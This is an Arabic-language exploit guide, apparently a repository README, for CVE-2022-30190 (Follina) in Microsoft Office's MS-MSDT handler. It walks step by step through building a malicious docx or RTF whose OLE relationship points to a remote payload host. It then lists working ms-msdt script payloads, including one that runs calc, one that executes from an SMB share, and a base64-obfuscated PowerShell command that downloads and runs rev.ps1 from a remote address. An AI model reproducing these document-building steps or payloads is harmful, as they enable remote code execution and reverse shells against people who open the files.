MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina نقرة واحدة

1. أنشئ ملف Docx.
2. في ملف Docx، اذهب إلى إدراج > كائن > صورة نقطية > موافق
3. في تطبيق الرسام الذي تم تشغيله، احفظ ملف الرسام.
4. احفظ ملف Docx الخاص بك.
5. افتح ملفك كأرشيف (باستخدام 7Zip؛ انقر بزر الماوس الأيمن > 7Zip > فتح الأرشيف.)
6. انسخ ملف Document.xml من \Word\ وملف document.xml.rels من \word_rels\
7. افتح/حرّر ملف \word_rels\Document.xml.rels وحدد علامة XML الخاصة بالعلاقة مع "/relationships/oleObject". بعد ذلك، استبدل الوجهة في "Target=" بوجهتك البعيدة حيث سيتم جلب الحمولة. أضف أيضًا "TargetMode="External"" إلى علامة XML.
8. أعد الضغط إلى ملف Docx (أرسل إلى > مجلد مضغوط (Zipped) | أعد تسمية نوع الملف من zip > docx/doc)

نوع ملف RTF

بمجرد حفظ ملف docx باستخدام الخطوات/المُعاملات أدناه، احفظ ملف Docx كـ RTF.

إذا قمت أيضًا بإضافة هذه العناصر تحت عنصر <o:OLEObject> في word/document.xml:

<o:LinkType>EnhancedMetaFile</o:LinkType>
<o:LockedField>false</o:LockedField>
<o:FieldCodes>\f 0</o:FieldCodes>

يمكن ملاحظة عملية إعادة الضغط من خلال سكريبت Python الخاص بـ JohnHammond أيضًا:
~ إعادة بناء ملف الأوفيس الأصلي ~

shutil.make_archive(args.output, "zip", doc_path)  
os.rename(args.output + ".zip", args.output)  

المرجع: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py

الحمولات

تنفيذ الآلة الحاسبة الأساسية:

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
</script>

يمكن استبدال Start-Process('calc') بـ:

IEX('calc.exe')

تنفيذ مشاركة SMB:

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
</script>

تحميل ملف PS1:

<script>
window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
</script>  

فك التشفير: Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))))

يجب أن يُظهر سجل Apache2 access.log الاتصال عند فتح الملف